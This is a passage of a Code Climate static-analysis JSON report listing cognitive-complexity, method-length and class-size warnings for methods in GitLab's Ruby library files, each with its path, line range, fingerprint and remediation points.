the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_permission!` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"596d8f0ed603043a25830a78af0b7870","location":{"path":"lib/gitlab/email/handler/reply_processing.rb","lines":{"begin":38,"end":47}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6fac16f8fc80d183ffc78d03d2d0245d","location":{"path":"lib/gitlab/email/handler/unsubscribe_handler.rb","lines":{"begin":15,"end":23}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `select_body` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"74ea18f19435d9abee264cd1facce76a","location":{"path":"lib/gitlab/email/reply_parser.rb","lines":{"begin":36,"end":58}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fix_charset` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bbfbab207f44913ec99bdb0f738ef744","location":{"path":"lib/gitlab/email/reply_parser.rb","lines":{"begin":61,"end":71}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `target_url` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"587a65f54b3a9d4006c9fb8e97881295","location":{"path":"lib/gitlab/email/message/repository_push.rb","lines":{"begin":96,"end":108}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `subject` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"304068a60d47ba6b4d63d0770a3e66e0","location":{"path":"lib/gitlab/email/message/repository_push.rb","lines":{"begin":118,"end":137}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `run!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"06bf786acefc4467f3887ce0b97790b0","location":{"path":"lib/gitlab/cleanup/remote_uploads.rb","lines":{"begin":13,"end":32}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `steal` has a Cognitive Complexity of 16 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bcfc4aae2401e33076da306af1be4a91","location":{"path":"lib/gitlab/background_migration.rb","lines":{"begin":17,"end":38}},"other_locations":[],"remediation_points":1250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate!` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7f4a6a0b5a98750c352c1646b1b3f685","location":{"path":"lib/gitlab/url_blocker.rb","lines":{"begin":8,"end":37}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `redis_store_options` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8e3b7658d5f2da0b6cfe80e375fba17a","location":{"path":"lib/gitlab/redis/wrapper.rb","lines":{"begin":94,"end":116}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `calculate` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"027f65d9b15a5a20ac32b7746317815a","location":{"path":"lib/gitlab/project_authorizations/with_nested_groups.rb","lines":{"begin":16,"end":57}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `allowed?` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5ffe0c3e3d42265eae2251a019292113","location":{"path":"lib/gitlab/user_access.rb","lines":{"begin":30,"end":38}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `can_push_to_branch?` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"303070bb63eb58bcb7a05b3b95932900","location":{"path":"lib/gitlab/user_access.rb","lines":{"begin":64,"end":75}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `sanitize` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ce964ef0b84100c7c6ad7cb863485dc1","location":{"path":"lib/gitlab/ssh_public_key.rb","lines":{"begin":24,"end":38}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8bb3319e6987280746e3bc73708c56f0","location":{"path":"lib/gitlab/bare_repository_import/importer.rb","lines":{"begin":6,"end":27}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `to_kubeconfig` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"b447110ec4376566b0f143ec7955f597","location":{"path":"lib/gitlab/kubernetes.rb","lines":{"begin":85,"end":115}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `extract_filters` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"52f2917ff84bcee853228888bc9d4f20","location":{"path":"lib/gitlab/search/query.rb","lines":{"begin":28,"end":48}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `encode!` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5023e6a2cc1fe373219230a4ada29baa","location":{"path":"lib/gitlab/encoding_helper.rb","lines":{"begin":16,"end":36}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `encode_utf8` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c7dee9a09179a88f06945225a2a221af","location":{"path":"lib/gitlab/encoding_helper.rb","lines":{"begin":51,"end":69}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `handle_exception_response` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0c36580ef2976c77eabf04d27eda6e0b","location":{"path":"lib/gitlab/prometheus_client.rb","lines":{"begin":78,"end":87}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `generate_full_url` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6347a85ed559890640d3146272847334","location":{"path":"lib/gitlab/url_sanitizer.rb","lines":{"begin":71,"end":78}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `convert` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"427e98fa770dd0ce1ed98ef15ec75fd5","location":{"path":"lib/gitlab/ci/ansi2html.rb","lines":{"begin":136,"end":189}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `open_new_tag` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3d7e5bd9e7a6c35c9d687fc490695bed","location":{"path":"lib/gitlab/ci/ansi2html.rb","lines":{"begin":232,"end":256}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_xterm_color_class` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4936b554b5287229c74930b44325b20c","location":{"path":"lib/gitlab/ci/ansi2html.rb","lines":{"begin":329,"end":341}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Converter` has 69 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"61a0cb2a3f0303ed57f185452426b79a","location":{"path":"lib/gitlab/ci/ansi2html.rb","lines":{"begin":31,"end":346}},"other_locations":[],"remediation_points":6100000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `convert` has 43 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"dd13e7297553d67e7801e8ccc8eed932","location":{"path":"lib/gitlab/ci/ansi2html.rb","lines":{"begin":136,"end":189}},"other_locations":[],"remediation_points":1032000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `matches_pattern?` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ebde1954a4f6fc95ac088dde003d1f7c","location":{"path":"lib/gitlab/ci/build/policy/refs.rb","lines":{"begin":27,"end":38}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `match_entries` has a Cognitive Complexity of 18 (exceeds 5 allowed). Consider refactoring.","fingerprint":"12277d192b4e56c2980eae35423fc226","location":{"path":"lib/gitlab/ci/build/artifacts/metadata.rb","lines":{"begin":54,"end":76}},"other_locations":[],"remediation_points":1450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `read_version` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c8c5a0217b6a28198bd8cb92d0e82b00","location":{"path":"lib/gitlab/ci/build/artifacts/metadata.rb","lines":{"begin":78,"end":92}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Entry` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"a996c8f128cfc7543769dd21dd5de815","location":{"path":"lib/gitlab/ci/build/artifacts/metadata/entry.rb","lines":{"begin":15,"end":130}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `to_s` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6710c7eee920701d15361f52dbe4bd3d","location":{"path":"lib/gitlab/ci/build/artifacts/path.rb","lines":{"begin":26,"end":36}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `read` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"481c8d08e5e47d4a4d4be68d0d06fe4b","location":{"path":"lib/gitlab/ci/trace/chunked_io.rb","lines":{"begin":69,"end":93}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's 